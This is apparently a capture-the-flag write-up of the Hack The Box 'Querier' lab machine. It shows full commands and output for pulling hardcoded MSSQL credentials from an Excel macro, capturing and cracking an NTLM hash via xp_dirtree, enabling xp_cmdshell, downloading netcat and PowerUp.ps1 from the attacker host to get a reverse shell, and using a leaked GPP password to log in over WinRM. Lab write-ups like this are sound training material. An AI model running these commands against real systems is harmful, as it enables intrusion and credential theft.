Querier - Hack The Box
To solve Querier, we find an Excel spreadsheet that contains a VBA macro then use Responder to capture NTLM hashes from the server by forcing it to connect back to our machine with xp_dirtree
. After cracking the hash, we gain RCE on the server by using the standard xp_cmdshell
command. The Administator credentials are found in a Group Policy Preference file.
Summary
- An SMB share contains a binary file with hardcoded MSSQL credentials
- We can log in to MSSQL and get the
mssql-svc
user hash usingxp_dirtree
and responder - Logging in as
mssql-svc
to MSSQL we can usexp_cmdshell
to get RCE - Using PowerUp, we find the administrator password in a GPP xml file
Detailed steps
Port scan shows SMB is open, along with MSSQL and WinRM.
# nmap -sC -sV -p- 10.10.10.125 -oA querier
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-16 00:56 EST
Nmap scan report for querier.htb (10.10.10.125)
Host is up (0.013s latency).
Not shown: 65521 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 14.00.1000.00
| ms-sql-ntlm-info:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: QUERIER
| DNS_Domain_Name: HTB.LOCAL
| DNS_Computer_Name: QUERIER.HTB.LOCAL
| DNS_Tree_Name: HTB.LOCAL
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2019-02-16T18:52:53
|_Not valid after: 2049-02-16T18:52:53
|_ssl-date: 2019-02-16T18:54:24+00:00; +12h57m10s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 12h57m10s, deviation: 0s, median: 12h57m09s
| ms-sql-info:
| 10.10.10.125:1433:
| Version:
| name: Microsoft SQL Server
| number: 14.00.1000.00
| Product: Microsoft SQL Server
|_ TCP port: 1433
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-02-16 13:54:23
|_ start_date: N/A
SMB share enumeration
The share enumeration didn’t work reliably when I first did the box. For some reason I would get random connection timeouts. I had to try the enumeration a few times, I don’t know why though.
# smbmap -u invalid -H 10.10.10.125
[+] Finding open SMB ports....
[+] Guest SMB session established on 10.10.10.125...
[+] IP: 10.10.10.125:445 Name: querier.htb
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ READ ONLY
Reports READ ONLY
There a Reports
share that our user has read access to. I logged on using smbclient and downloaded the file.
# smbclient -U QUERIER/invalid //10.10.10.125/Reports
Enter QUERIER\invalid's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jan 28 18:23:48 2019
.. D 0 Mon Jan 28 18:23:48 2019
Currency Volume Report.xlsm A 12229 Sun Jan 27 17:21:34 2019
6469119 blocks of size 4096. 1572541 blocks available
smb: \> get "Currency Volume Report.xlsm"
getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (124.4 KiloBytes/sec) (average 124.4 KiloBytes/sec)
The 2007+ Microsoft Office format is basically a zip compressed file. We can see the contents of that Macro file without using LibreOffice with:
# file 'Currency Volume Report.xlsm'
Currency Volume Report.xlsm: Microsoft Excel 2007+
# unzip 'Currency Volume Report.xlsm'
Archive: Currency Volume Report.xlsm
inflating: [Content_Types].xml
inflating: _rels/.rels
inflating: xl/workbook.xml
inflating: xl/_rels/workbook.xml.rels
inflating: xl/worksheets/sheet1.xml
inflating: xl/theme/theme1.xml
inflating: xl/styles.xml
inflating: xl/vbaProject.bin
inflating: docProps/core.xml
inflating: docProps/app.xml
I checked out all the files and eventually found a connection string inside the vbaProject.bin
binary file:
# strings vbaProject.bin
macro to pull data for client volume reports
n.Conn]
Open
rver=<
SELECT * FROM volume;
word>
MsgBox "connection successful"
Set rs = conn.Execute("SELECT * @@version;")
Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6
So it seems that the username and password for the MSSQL server have been hardcoded into the macro. We can also see this by opening the file in LibreOffice and checking out the macros:
- Username:
reporting
- Password:
PcwTWTHRwryjc$c6
Getting RCE through MSSQL
I used the Impacket mssqlclient.py
to connect to the database:
# /usr/share/doc/python-impacket/examples/mssqlclient.py -windows-auth querier/reporting@querier.htb
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL>
The first thing I tried was to use xp_cmdshell
to run commands but the current user doesn’t have enough privileges:
SQL> xp_cmdshell "whoami";
[-] ERROR(QUERIER): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
SQL> EXEC sp_configure 'show advanced options', 1;
[-] ERROR(QUERIER): Line 105: User does not have permission to perform this action.
SQL> RECONFIGURE;
[-] ERROR(QUERIER): Line 1: You do not have permission to run the RECONFIGURE statement.
However, we can trigger an SMB connection back to us with xp_dirtree
and steal the NTLMv2 hash from the server using Responder:
SQL> xp_dirtree "\\10.10.14.23\gimmesomehashes"
The account is using a weak password that we can crack with the rockyou.txt
wordlist:
# john -w=/usr/share/wordlists/rockyou.txt --fork=4 hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Node numbers 1-4 of 4 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
corporate568 (mssql-svc)
1 0g 0:00:00:06 DONE (2019-02-17 19:17) 0g/s 428905p/s 428905c/s 428905C/s CHIKITITA1
3 0g 0:00:00:06 DONE (2019-02-17 19:17) 0g/s 406211p/s 406211c/s 406211C/s Pippa1862
2 0g 0:00:00:06 DONE (2019-02-17 19:17) 0g/s 421156p/s 421156c/s 421156C/s HIKID25
4 1g 0:00:00:06 DONE (2019-02-17 19:17) 0.1515g/s 339332p/s 339332c/s 339332C/s corporate568
Waiting for 3 children to terminate
Use the "--show" option to display all of the cracked passwords reliably
Session completed
The password is: corporate568
Now we can log in with that the mssql-svc
account then enable xp_cmdshell
and get RCE:
# /usr/share/doc/python-impacket/examples/mssqlclient.py -windows-auth querier/mssql-svc@querier.htb
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'master'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL> EXEC sp_configure 'show advanced options', 1;
[*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1;
[*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE;
SQL> xp_cmdshell "dir c:\users"
output
--------------------------------------------------------------------------------
Volume in drive C has no label.
Volume Serial Number is FE98-F373
NULL
Directory of c:\users
NULL
01/28/2019 11:41 PM <DIR> .
01/28/2019 11:41 PM <DIR> ..
01/28/2019 10:17 PM <DIR> Administrator
01/28/2019 11:42 PM <DIR> mssql-svc
01/28/2019 10:17 PM <DIR> Public
0 File(s) 0 bytes
5 Dir(s) 6,438,649,856 bytes free
NULL
At first I tried running a Nishang reverse shell but Windows Defender caught it. Then I tried downloading netcat with certutil.exe but that also was caught. So I used powershell instead to download netcat and then spawn a shell:
SQL> xp_cmdshell "powershell -command Invoke-WebRequest -Uri http://10.10.14.23/nc.exe -OutFile c:\programdata\nc.exe"
# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.125] 49713
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
querier\mssql-svc
C:\Windows\system32>type c:\users\mssql-svc\desktop\user.txt
type c:\users\mssql-svc\desktop\user.txt
c37b41b...
Privesc
I used Powersploit’s PowerUp module to do some recon on the box and found the administrator credentials stored in the Group Policy Preference (GPP) xml file. As explained on many other blogs, that file is AES encrypted but the key was leaked on MSDN a couple of years ago so PowerUp is able to decrypt it automatically.
C:\Windows\system32>powershell
PS C:\Windows\system32> IEX (New-Object Net.Webclient).downloadstring("http://10.10.14.23/PowerUp.ps1")
PS C:\Windows\system32> invoke-allchecks
[*] Checking for cached Group Policy Preferences .xml files....
Changed : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File : C:\ProgramData\Microsoft\Group
Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
C:\Windows\system32>powershell
Password: MyUnclesAreMarioAndLuigi!!1!
Using Alamot’s WinRM ruby script, I was able to log in as administrator
:
require 'winrm'
# Author: Alamot
conn = WinRM::Connection.new(
endpoint: 'http://10.10.10.125:5985/wsman',
user: 'querier\administrator',
password: 'MyUnclesAreMarioAndLuigi!!1!',
)
command=""
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
output = shell.run(command) do |stdout, stderr|
STDOUT.print stdout
STDERR.print stderr
end
end
puts "Exiting with code #{output.exitcode}"
end
# ruby querier.rb
PS querier\administrator@QUERIER Documents> whoami
querier\administrator
PS querier\administrator@QUERIER Documents> type c:\users\administrator\desktop\root.txt
b19c37...